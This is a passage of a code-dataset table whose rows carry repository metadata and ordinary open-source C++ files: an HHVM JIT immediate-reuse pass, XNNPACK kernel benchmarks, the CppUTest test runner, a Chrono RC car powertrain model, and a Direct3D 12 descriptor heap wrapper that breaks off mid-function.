hexsha stringlengths 40 40 | size int64 7 1.05M | ext stringclasses 13 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 269 | max_stars_repo_name stringlengths 5 108 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 9 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 269 | max_issues_repo_name stringlengths 5 116 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 9 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 269 | max_forks_repo_name stringlengths 5 116 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 9 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 7 1.05M | avg_line_length float64 1.21 330k | max_line_length int64 6 990k | alphanum_fraction float64 0.01 0.99 | author_id stringlengths 2 40 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c5083ca000baffe0ba512155df1298eeb786338a | 4,130 | cpp | C++ | hphp/runtime/vm/jit/vasm-reuse-imm.cpp | simonwelsh/hhvm | d4f2f960f29fc66e0ed615b8fa7746a42aafb173 | [
"PHP-3.01",
"Zend-2.0"
] | 1 | 2016-10-08T12:13:09.000Z | 2016-10-08T12:13:09.000Z | hphp/runtime/vm/jit/vasm-reuse-imm.cpp | alisha/hhvm | 523dc33b444bd5b59695eff2b64056629b0ed523 | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | hphp/runtime/vm/jit/vasm-reuse-imm.cpp | alisha/hhvm | 523dc33b444bd5b59695eff2b64056629b0ed523 | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | /*
+----------------------------------------------------------------------+
| HipHop for PHP |
+----------------------------------------------------------------------+
| Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
*/
#include "hphp/runtime/vm/jit/vasm.h"
#include "hphp/runtime/vm/jit/vasm-gen.h"
#include "hphp/runtime/vm/jit/vasm-instr.h"
#include "hphp/runtime/vm/jit/vasm-print.h"
#include "hphp/runtime/vm/jit/vasm-reg.h"
#include "hphp/runtime/vm/jit/vasm-unit.h"
#include "hphp/runtime/vm/jit/vasm-util.h"
#include "hphp/util/arch.h"
#include "hphp/util/assertions.h"
#include <folly/Optional.h>
#include <cstdlib>
TRACE_SET_MOD(vasm);
namespace HPHP { namespace jit {
namespace {
// track ldimmq values
struct ImmState {
ImmState() {}
ImmState(Immed64 a, Vreg b) : val{a}, base{b} {}
void reset() { base = Vreg{}; }
Immed64 val{0};
Vreg base;
};
struct Env {
Vunit& unit;
std::vector<ImmState> immStateVec;
};
bool isMultiword(int64_t imm) {
switch (arch()) {
case Arch::X64:
case Arch::PPC64:
break;
case Arch::ARM:
uint64_t val = std::abs(imm);
if (val > (1 << 16)) return true;
break;
}
return false;
}
// candidate around +/- uimm12
folly::Optional<int> reuseCandidate(Env& env, int64_t p, Vreg& reg) {
for (auto const& elem : env.immStateVec) {
if (!elem.base.isValid()) continue;
int64_t q = elem.val.q();
if (((p >= q) && (p < (q + 4095))) ||
((p < q) && (q < (p + 4095)))) {
reg = elem.base;
return folly::make_optional(safe_cast<int>(p - q));
}
}
return folly::none;
}
template <typename Inst>
void reuseImmq(Env& env, const Inst& /*inst*/, Vlabel /*b*/, size_t i) {
// leaky bucket
env.immStateVec[i % RuntimeOption::EvalJitLdimmqSpan].reset();
}
template<typename ReuseImm>
void reuseimm_impl(Vunit& unit, Vlabel b, size_t i, ReuseImm reuse) {
vmodify(unit, b, i, [&] (Vout& v) { reuse(v); return 1; });
}
void reuseImmq(Env& env, const ldimmq& ld, Vlabel b, size_t i) {
if (isMultiword(ld.s.q())) {
Vreg base;
auto const off = reuseCandidate(env, ld.s.q(), base);
if (off.hasValue()) {
reuseimm_impl(env.unit, b, i, [&] (Vout& v) {
v << addqi{off.value(), base, ld.d, v.makeReg()};
});
return;
}
}
env.immStateVec[i % RuntimeOption::EvalJitLdimmqSpan] = ImmState{ld.s, ld.d};
}
void reuseImmq(Env& env, Vlabel b, size_t i) {
assertx(i <= env.unit.blocks[b].code.size());
auto const& inst = env.unit.blocks[b].code[i];
if (isCall(inst)) {
for (auto& elem : env.immStateVec) elem.reset();
return;
}
switch (inst.op) {
#define O(name, ...) \
case Vinstr::name: \
reuseImmq(env, inst.name##_, b, i); \
break;
VASM_OPCODES
#undef O
}
}
}
// Opportunistically reuse immediate q values
void reuseImmq(Vunit& unit) {
assertx(check(unit));
auto& blocks = unit.blocks;
if (RuntimeOption::EvalJitLdimmqSpan <= 0) return;
Env env { unit };
env.immStateVec.resize(RuntimeOption::EvalJitLdimmqSpan);
auto const labels = sortBlocks(unit);
for (auto const b : labels) {
for (auto& elem : env.immStateVec) elem.reset();
for (size_t i = 0; i < blocks[b].code.size(); ++i) {
reuseImmq(env, b, i);
}
}
printUnit(kVasmSimplifyLevel, "after vasm reuse immq", unit);
}
}}
| 26.993464 | 79 | 0.559322 | simonwelsh |
c50901885e42b85d8f2fa678a612299977cf3fda | 8,306 | cc | C++ | bench/f32-raddexpminusmax.cc | mcx/XNNPACK | 4aa243068e71f1064e8db37f6240e4c85f1f5314 | [
"BSD-3-Clause"
] | null | null | null | bench/f32-raddexpminusmax.cc | mcx/XNNPACK | 4aa243068e71f1064e8db37f6240e4c85f1f5314 | [
"BSD-3-Clause"
] | null | null | null | bench/f32-raddexpminusmax.cc | mcx/XNNPACK | 4aa243068e71f1064e8db37f6240e4c85f1f5314 | [
"BSD-3-Clause"
] | null | null | null | // Copyright 2019 Google LLC
//
// This source code is licensed under the BSD-style license found in the
// LICENSE file in the root directory of this source tree.
#include <algorithm>
#include <cmath>
#include <functional>
#include <random>
#include <vector>
#include <benchmark/benchmark.h>
#include "bench/utils.h"
#include <xnnpack/aligned-allocator.h>
#include <xnnpack/common.h>
#include <xnnpack/params.h>
#include <xnnpack/raddexpminusmax.h>
#include <xnnpack/rmax.h>
static void f32_raddexpminusmax(
benchmark::State& state,
xnn_f32_rmax_ukernel_function rmax,
xnn_f32_raddexpminusmax_ukernel_function raddexpminusmax,
benchmark::utils::IsaCheckFunction isa_check = nullptr)
{
if (isa_check && !isa_check(state)) {
return;
}
const size_t elements = state.range(0);
const size_t cache_line_size_max = 128;
const size_t packed_elements = benchmark::utils::RoundUp(elements, cache_line_size_max / sizeof(float));
std::random_device random_device;
auto rng = std::mt19937(random_device());
auto f32rng = std::bind(std::uniform_real_distribution<float>(-1000.0f, 1000.0f), std::ref(rng));
const size_t num_buffers = 1 +
benchmark::utils::DivideRoundUp<size_t>(benchmark::utils::GetMaxCacheSize(), packed_elements * sizeof(float));
std::vector<float, AlignedAllocator<float, 64>> x(elements);
std::generate(x.begin(), x.end(), std::ref(f32rng));
benchmark::utils::DisableDenormals();
size_t buffer_index = 0;
for (auto _ : state) {
state.PauseTiming();
float x_max = nanf("");
rmax(elements * sizeof(float), x.data(), &x_max);
if (++buffer_index == num_buffers) {
buffer_index = 0;
}
state.ResumeTiming();
float y_sum = nanf("");
raddexpminusmax(elements * sizeof(float), x.data(), &y_sum, x_max);
}
const uint64_t cpu_frequency = benchmark::utils::GetCurrentCpuFrequency();
if (cpu_frequency != 0) {
state.counters["cpufreq"] = cpu_frequency;
}
const size_t elements_per_iteration = elements;
state.counters["elements"] =
benchmark::Counter(uint64_t(state.iterations()) * elements_per_iteration, benchmark::Counter::kIsRate);
const size_t bytes_per_iteration = 2 * elements * sizeof(float);
state.counters["bytes"] =
benchmark::Counter(uint64_t(state.iterations()) * bytes_per_iteration, benchmark::Counter::kIsRate);
}
static void CharacteristicArguments(benchmark::internal::Benchmark* b) {
b->ArgName("N");
for (int32_t n = 10000; n <= 100000000; n *= 10) {
b->Arg(n);
}
}
#if XNN_ARCH_X86 || XNN_ARCH_X86_64
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x64,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x64,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x64_acc2,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x64_acc2,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x64_acc4,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x64_acc4,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x72,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x72,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x72_acc3,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x72_acc3,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x80,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x80,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x80_acc2,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x80_acc2,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x80_acc5,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x80_acc5,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x96,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x96,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x96_acc2,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x96_acc2,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x96_acc3,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x96_acc3,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx2_p5_x96_acc6,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx2_p5_x96_acc6,
benchmark::utils::CheckAVX2)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x128,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x128,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x128_acc2,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x128_acc2,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x128_acc4,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x128_acc4,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x144,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x144,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x144_acc3,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x144_acc3,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x160,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x160,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x160_acc2,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x160_acc2,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x160_acc5,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x160_acc5,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x192,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x192,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x192_acc2,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x192_acc2,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x192_acc3,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x192_acc3,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
BENCHMARK_CAPTURE(f32_raddexpminusmax, avx512f_p5_scalef_x192_acc6,
xnn_f32_rmax_ukernel__avx,
xnn_f32_raddexpminusmax_ukernel__avx512f_p5_scalef_x192_acc6,
benchmark::utils::CheckAVX512F)->Apply(CharacteristicArguments)->UseRealTime();
#endif // XNN_ARCH_X86 || XNN_ARCH_X86_64
#ifndef XNNPACK_BENCHMARK_NO_MAIN
BENCHMARK_MAIN();
#endif
| 43.486911 | 114 | 0.799061 | mcx |
c5093cf7ce78adcc21f8e02d8ee3be0379de9326 | 5,854 | cpp | C++ | testtools/cpputest/CommandLineTestRunner.cpp | MedadRufus/cpputest_example | 2556ef2c3b91afdaa42631292a796097e048b7a4 | [
"MIT"
] | 13 | 2019-03-14T16:18:37.000Z | 2022-01-17T19:55:31.000Z | testtools/cpputest/CommandLineTestRunner.cpp | MedadRufus/cpputest_example | 2556ef2c3b91afdaa42631292a796097e048b7a4 | [
"MIT"
] | null | null | null | testtools/cpputest/CommandLineTestRunner.cpp | MedadRufus/cpputest_example | 2556ef2c3b91afdaa42631292a796097e048b7a4 | [
"MIT"
] | 9 | 2019-09-23T07:08:47.000Z | 2022-03-27T07:31:34.000Z | /*
* Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the <organization> nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "CppUTest/TestHarness.h"
#include "CppUTest/CommandLineTestRunner.h"
#include "CppUTest/TestOutput.h"
#include "CppUTest/JUnitTestOutput.h"
#include "CppUTest/TeamCityTestOutput.h"
#include "CppUTest/TestRegistry.h"
int CommandLineTestRunner::RunAllTests(int ac, char** av)
{
return RunAllTests(ac, (const char**) av);
}
int CommandLineTestRunner::RunAllTests(int ac, const char** av)
{
int result = 0;
ConsoleTestOutput backupOutput;
MemoryLeakWarningPlugin memLeakWarn(DEF_PLUGIN_MEM_LEAK);
memLeakWarn.destroyGlobalDetectorAndTurnOffMemoryLeakDetectionInDestructor(true);
TestRegistry::getCurrentRegistry()->installPlugin(&memLeakWarn);
{
CommandLineTestRunner runner(ac, av, TestRegistry::getCurrentRegistry());
result = runner.runAllTestsMain();
}
if (result == 0) {
backupOutput << memLeakWarn.FinalReport(0);
}
TestRegistry::getCurrentRegistry()->removePluginByName(DEF_PLUGIN_MEM_LEAK);
return result;
}
CommandLineTestRunner::CommandLineTestRunner(int ac, const char** av, TestRegistry* registry) :
output_(NULL), arguments_(NULL), registry_(registry)
{
arguments_ = new CommandLineArguments(ac, av);
}
CommandLineTestRunner::~CommandLineTestRunner()
{
delete arguments_;
delete output_;
}
int CommandLineTestRunner::runAllTestsMain()
{
int testResult = 0;
SetPointerPlugin pPlugin(DEF_PLUGIN_SET_POINTER);
registry_->installPlugin(&pPlugin);
if (parseArguments(registry_->getFirstPlugin()))
testResult = runAllTests();
registry_->removePluginByName(DEF_PLUGIN_SET_POINTER);
return testResult;
}
void CommandLineTestRunner::initializeTestRun()
{
registry_->setGroupFilters(arguments_->getGroupFilters());
registry_->setNameFilters(arguments_->getNameFilters());
if (arguments_->isVerbose()) output_->verbose();
if (arguments_->isColor()) output_->color();
if (arguments_->runTestsInSeperateProcess()) registry_->setRunTestsInSeperateProcess();
if (arguments_->isRunIgnored()) registry_->setRunIgnored();
}
int CommandLineTestRunner::runAllTests()
{
initializeTestRun();
int loopCount = 0;
int failureCount = 0;
int repeat_ = arguments_->getRepeatCount();
if (arguments_->isListingTestGroupNames())
{
TestResult tr(*output_);
registry_->listTestGroupNames(tr);
return 0;
}
if (arguments_->isListingTestGroupAndCaseNames())
{
TestResult tr(*output_);
registry_->listTestGroupAndCaseNames(tr);
return 0;
}
while (loopCount++ < repeat_) {
output_->printTestRun(loopCount, repeat_);
TestResult tr(*output_);
registry_->runAllTests(tr);
failureCount += tr.getFailureCount();
}
return failureCount;
}
TestOutput* CommandLineTestRunner::createTeamCityOutput()
{
return new TeamCityTestOutput;
}
TestOutput* CommandLineTestRunner::createJUnitOutput(const SimpleString& packageName)
{
JUnitTestOutput* junitOutput = new JUnitTestOutput;
if (junitOutput != NULL) {
junitOutput->setPackageName(packageName);
}
return junitOutput;
}
TestOutput* CommandLineTestRunner::createConsoleOutput()
{
return new ConsoleTestOutput;
}
TestOutput* CommandLineTestRunner::createCompositeOutput(TestOutput* outputOne, TestOutput* outputTwo)
{
CompositeTestOutput* composite = new CompositeTestOutput;
composite->setOutputOne(outputOne);
composite->setOutputTwo(outputTwo);
return composite;
}
bool CommandLineTestRunner::parseArguments(TestPlugin* plugin)
{
if (!arguments_->parse(plugin)) {
output_ = createConsoleOutput();
output_->print(arguments_->usage());
return false;
}
if (arguments_->isJUnitOutput()) {
output_= createJUnitOutput(arguments_->getPackageName());
if (arguments_->isVerbose())
output_ = createCompositeOutput(output_, createConsoleOutput());
} else if (arguments_->isTeamCityOutput()) {
output_ = createTeamCityOutput();
} else
output_ = createConsoleOutput();
return true;
}
| 33.451429 | 103 | 0.710284 | MedadRufus |
c50d0592980f3d5a9ff61923ff6b21439046ed2b | 2,592 | cpp | C++ | src/chrono_models/vehicle/rccar/RCCar_SimpleMapPowertrain.cpp | Benatti1991/chrono | d927a7fae8ed2f4e6695cacaef28c605fcd9ffaf | [
"BSD-3-Clause"
] | 1,383 | 2015-02-04T14:17:40.000Z | 2022-03-30T04:58:16.000Z | src/chrono_models/vehicle/rccar/RCCar_SimpleMapPowertrain.cpp | Benatti1991/chrono | d927a7fae8ed2f4e6695cacaef28c605fcd9ffaf | [
"BSD-3-Clause"
] | 245 | 2015-01-11T15:30:51.000Z | 2022-03-30T21:28:54.000Z | src/chrono_models/vehicle/rccar/RCCar_SimpleMapPowertrain.cpp | Benatti1991/chrono | d927a7fae8ed2f4e6695cacaef28c605fcd9ffaf | [
"BSD-3-Clause"
] | 351 | 2015-02-04T14:17:47.000Z | 2022-03-30T04:42:52.000Z | // =============================================================================
// PROJECT CHRONO - http://projectchrono.org
//
// Copyright (c) 2014 projectchrono.org
// All rights reserved.
//
// Use of this source code is governed by a BSD-style license that can be found
// in the LICENSE file at the top level of the distribution and at
// http://projectchrono.org/license-chrono.txt.
//
// =============================================================================
// Authors: Radu Serban, Jayne Henry
// =============================================================================
//
// Simple powertrain model for the RCCar vehicle.
// - based on torque-speed engine maps
// - both power and torque limited
// - no torque converter
// - simple gear-shifting model (in automatic mode)
//
// =============================================================================
#include "chrono_models/vehicle/rccar/RCCar_SimpleMapPowertrain.h"
using namespace chrono::vehicle;
using namespace chrono;
namespace chrono {
namespace vehicle {
namespace rccar {
const double rpm2rads = CH_C_PI / 30;
const double Kv_rating = 1300;
const double supply_voltage = 8.0;
const double max_rpm = Kv_rating * supply_voltage;
const double stall_torque = 1.0; // TODO, currently a guess
RCCar_SimpleMapPowertrain::RCCar_SimpleMapPowertrain(const std::string& name) : ChSimpleMapPowertrain(name) {}
double RCCar_SimpleMapPowertrain::GetMaxEngineSpeed() {
return max_rpm * rpm2rads;
}
void RCCar_SimpleMapPowertrain::SetEngineTorqueMaps(ChFunction_Recorder& map0, ChFunction_Recorder& mapF) {
// since this is a model of motor and ESC combination, we assume a linear relationship.
// while brushless motors dont follow linear torque-speed relationship, most hobby electronic
// speed controllers control the motor such that it approximately follows a linear relationship
mapF.AddPoint(0,stall_torque); //stall torque //TODO
mapF.AddPoint(max_rpm * rpm2rads, 0); // no load speed
// N-m and rad/s
map0.AddPoint(0, 0);
map0.AddPoint(.1 * max_rpm * rpm2rads, 0);
map0.AddPoint(max_rpm * rpm2rads, -stall_torque); // TODO, currently a guess
}
void RCCar_SimpleMapPowertrain::SetGearRatios(std::vector<double>& fwd, double& rev) {
rev = -1.0 / 3;
fwd.push_back(1.0 / 3);
}
void RCCar_SimpleMapPowertrain::SetShiftPoints(std::vector<std::pair<double, double>>& shift_bands) {
shift_bands.push_back(std::pair<double, double>(0, 10 * max_rpm * rpm2rads)); //never shifts
}
} // end namespace rccar
} // namespace vehicle
} // namespace chrono
| 37.028571 | 110 | 0.646219 | Benatti1991 |
c50fa8b7268b2dfdf292e46b1237323b9eade999 | 317 | hpp | C++ | src/shell/command/world/add_state_object_SG_command.hpp | MarkieMark/fastrl | e4f0b9b60a7ecb6f13bbb79936ea82acb8adae0e | [
"Apache-2.0"
] | 4 | 2019-04-19T00:11:36.000Z | 2020-04-08T09:50:37.000Z | src/shell/command/world/add_state_object_SG_command.hpp | MarkieMark/fastrl | e4f0b9b60a7ecb6f13bbb79936ea82acb8adae0e | [
"Apache-2.0"
] | null | null | null | src/shell/command/world/add_state_object_SG_command.hpp | MarkieMark/fastrl | e4f0b9b60a7ecb6f13bbb79936ea82acb8adae0e | [
"Apache-2.0"
] | null | null | null |
/*
* Mark Benjamin 6th March 2019
* Copyright (c) 2019 Mark Benjamin
*/
#ifndef FASTRL_SHELL_COMMAND_WORLD_ADD_STATE_OBJECT_SG_COMMAND_HPP
#define FASTRL_SHELL_COMMAND_WORLD_ADD_STATE_OBJECT_SG_COMMAND_HPP
class AddStateObjectSGCommand {
};
#endif //FASTRL_SHELL_COMMAND_WORLD_ADD_STATE_OBJECT_SG_COMMAND_HPP
| 21.133333 | 67 | 0.84858 | MarkieMark |
c51092f9095edf8eae106ce1cffbc5758265a410 | 4,661 | cpp | C++ | Source/Shared/dependencies/d3dxaffinity/CD3DX12AffinityDescriptorHeap.cpp | JJoosten/IndirectOcclusionCulling | 0376da0f9bdb14e67238a5b54e928e50ee33aef6 | [
"MIT"
] | 19 | 2016-08-16T10:19:07.000Z | 2018-12-04T01:00:00.000Z | Source/Shared/dependencies/d3dxaffinity/CD3DX12AffinityDescriptorHeap.cpp | JJoosten/IndirectOcclusionCulling | 0376da0f9bdb14e67238a5b54e928e50ee33aef6 | [
"MIT"
] | 1 | 2016-08-18T04:23:19.000Z | 2017-01-26T22:46:44.000Z | Source/Shared/dependencies/d3dxaffinity/CD3DX12AffinityDescriptorHeap.cpp | JJoosten/IndirectOcclusionCulling | 0376da0f9bdb14e67238a5b54e928e50ee33aef6 | [
"MIT"
] | 1 | 2019-09-23T10:49:36.000Z | 2019-09-23T10:49:36.000Z | //*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
// This code is licensed under the MIT License (MIT).
// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR
// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.
//
//*********************************************************
#include "d3dx12affinity.h"
#include "CD3DX12Utils.h"
D3D12_DESCRIPTOR_HEAP_DESC STDMETHODCALLTYPE CD3DX12AffinityDescriptorHeap::GetDesc(UINT AffinityIndex)
{
return mDescriptorHeaps[AffinityIndex]->GetDesc();
}
D3D12_CPU_DESCRIPTOR_HANDLE STDMETHODCALLTYPE CD3DX12AffinityDescriptorHeap::GetCPUDescriptorHandleForHeapStart(void)
{
if (GetNodeCount() == 1)
{
return mDescriptorHeaps[0]->GetCPUDescriptorHandleForHeapStart();
}
D3D12_CPU_DESCRIPTOR_HANDLE handle;
handle.ptr = (SIZE_T)mCPUHeapStart;
return handle;
}
D3D12_GPU_DESCRIPTOR_HANDLE STDMETHODCALLTYPE CD3DX12AffinityDescriptorHeap::GetGPUDescriptorHandleForHeapStart(void)
{
if (GetNodeCount() == 1)
{
return mDescriptorHeaps[0]->GetGPUDescriptorHandleForHeapStart();
}
D3D12_GPU_DESCRIPTOR_HANDLE handle;
handle.ptr = (SIZE_T)mGPUHeapStart;
return handle;
}
D3D12_CPU_DESCRIPTOR_HANDLE STDMETHODCALLTYPE CD3DX12AffinityDescriptorHeap::GetActiveCPUDescriptorHandleForHeapStart(UINT AffinityIndex)
{
return mDescriptorHeaps[AffinityIndex]->GetCPUDescriptorHandleForHeapStart();
}
D3D12_GPU_DESCRIPTOR_HANDLE STDMETHODCALLTYPE CD3DX12AffinityDescriptorHeap::GetActiveGPUDescriptorHandleForHeapStart(UINT AffinityIndex)
{
return mDescriptorHeaps[AffinityIndex]->GetGPUDescriptorHandleForHeapStart();
}
void CD3DX12AffinityDescriptorHeap::InitDescriptorHandles(D3D12_DESCRIPTOR_HEAP_TYPE type)
{
UINT const NodeCount = GetNodeCount();
UINT maxindex = 0;
for (UINT i = 0; i < NodeCount; ++i)
{
D3D12_CPU_DESCRIPTOR_HANDLE const CPUBase = mDescriptorHeaps[i]->GetCPUDescriptorHandleForHeapStart();
D3D12_GPU_DESCRIPTOR_HANDLE const GPUBase = mDescriptorHeaps[i]->GetGPUDescriptorHandleForHeapStart();
UINT HandleIncrement = 0;
if (GetParentDevice()->GetAffinityMode() == EAffinityMode::LDA)
{
HandleIncrement = GetParentDevice()->GetChildObject(0)->GetDescriptorHandleIncrementSize(type);
}
for (UINT j = 0; j < mNumDescriptors; ++j)
{
mCPUHeapStart[j * NodeCount + i] = CPUBase.ptr + HandleIncrement * j;
mGPUHeapStart[j * NodeCount + i] = GPUBase.ptr + HandleIncrement * j;
maxindex = max(maxindex, j * NodeCount + i);
}
}
DebugLog("Used up to index %u in heap array\n", maxindex);
DebugLog("Created a descriptor heap with CPU start at 0x%IX and GPU start a 0x%IX\n", mCPUHeapStart, mGPUHeapStart);
for (UINT i = 0; i < NodeCount; ++i)
{
